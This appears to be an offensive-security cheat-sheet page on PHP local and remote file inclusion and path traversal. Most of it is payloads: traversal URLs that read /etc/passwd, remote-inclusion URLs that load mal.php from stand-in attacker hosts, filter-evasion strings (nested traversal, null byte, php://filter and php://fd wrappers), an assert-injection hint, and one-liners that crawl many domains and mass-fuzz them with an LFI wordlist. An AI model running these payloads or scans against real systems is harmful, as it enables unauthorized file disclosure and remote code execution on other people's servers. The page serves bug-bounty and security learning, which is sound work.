File Inclusion & Path Traversal

Theory

File Inclusion refers to a vulnerability in web applications where an attacker can manipulate input parameters to include local or remote files on the application's running code. Path traversal (directory traversal) refers to a vulnerability where an attacker manipulate input parameters to obtain the contents of a file outside of the web server's web root.

While directory traversal only allows us to access sensitive files stored on the server, such as configuration files, SSH keys, using a file inclusion, we may be able to execute local or remote files.

There are two types of file inclusion vulnerability:

  • Remote File Inclusion (RFI): The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is disabled by default (allow_url_include).

  • Local File Inclusion (LFI): The sever loads a local file.

#Here is a very simple example of an LFI:
http://example.com/index.php?page=../../../etc/passwd

#Here is a very simple example of an RFI:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Practice

In PHP, functions vulnerable to LFI are: require, require_once, include, include_once

When using curl for LFI/RFI/Path Traversal testing, we should use the --path-as-is argument to prevent curl from editing our request

curl 'http://10.10.10.8/../../../../etc/passwd' --path-as-is

Tools

Here are some handy one-liners to automate LFI scans on domains or urls using tools like gau, hakrawler, waybackurls, katana, uro, qsreplace, httpx, Gospider.

It may be usefull for bug bounty hunting

domains.txt -> text file containing domain names (ex: test.domain.com)

urls.txt -> text file containing URLs (ex: http://test.domain.com)

# Fuzz on multiple domains using a wordlist
# You may want to edit the wordlist
cat domains.txt | (gau || hakrawler || waybackurls || katana) | xargs -I% -P 25 sh -c 'for payload in $(cat /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt); do url=$(echo "%" | qsreplace "$payload"); curl -s "$url" 2>&1 | grep -q "root:x" && echo "VULN! $url"; done'

# Fuzz on multiple urls using a wordlist
# You may want to edit the wordlist
gospider -S urls.txt -c 10 -d 5 --blacklist ".(gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| gf lfi | xargs -I% -P 25 sh -c 'for payload in $(cat /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt); do url=$(echo "%" | qsreplace "$payload"); curl -s "$url" 2>&1 | grep -q "root:x" && echo "VULN! $url"; done'

# Fuzz on multiple domains using a single payload
# You may want to edit the payload
cat domains.txt | (gau || hakrawler || waybackurls || katana) | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'

# Fuzz on multiple urls using a single payload
# You may want to edit the payload
gospider -S urls.txt -c 10 -d 5 --blacklist ".(gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'

Basic LFI

You might be able to use nested traversal sequences, such as ....// or ....\/, which will revert to simple traversal sequences when the inner sequence is stripped.

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

LFI filter evasion

Bypass the append more chars at the end of the provided string (bypass of: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

LFI / RFI using PHP filters

Using string filters, we can processe all stream data through the specified function

# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
http://example.com/index.php?page=php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd

## Same chain without the "|" char
http://example.com/index.php?page=php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd

## string.string_tags example
http://example.com/index.php?page=php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code;?>lalalala

LFI / RFI using PHP protocols & wrappers

This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:

http://example.com/index.php?page=php://fd/3

Find more PHP wrappers on this page:

PHP Wrappers

LFI using PHP's assert

If you encounter a difficult LFI that appears to be filtering traversal strings such as ".." and responding with something along the lines of "Hacking attempt" or "Nice try!", an 'assert' injection payload may work.

For example, with following code is vulnerable assuming that the $file parameter is vulnerable to LFI

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

References

Last updated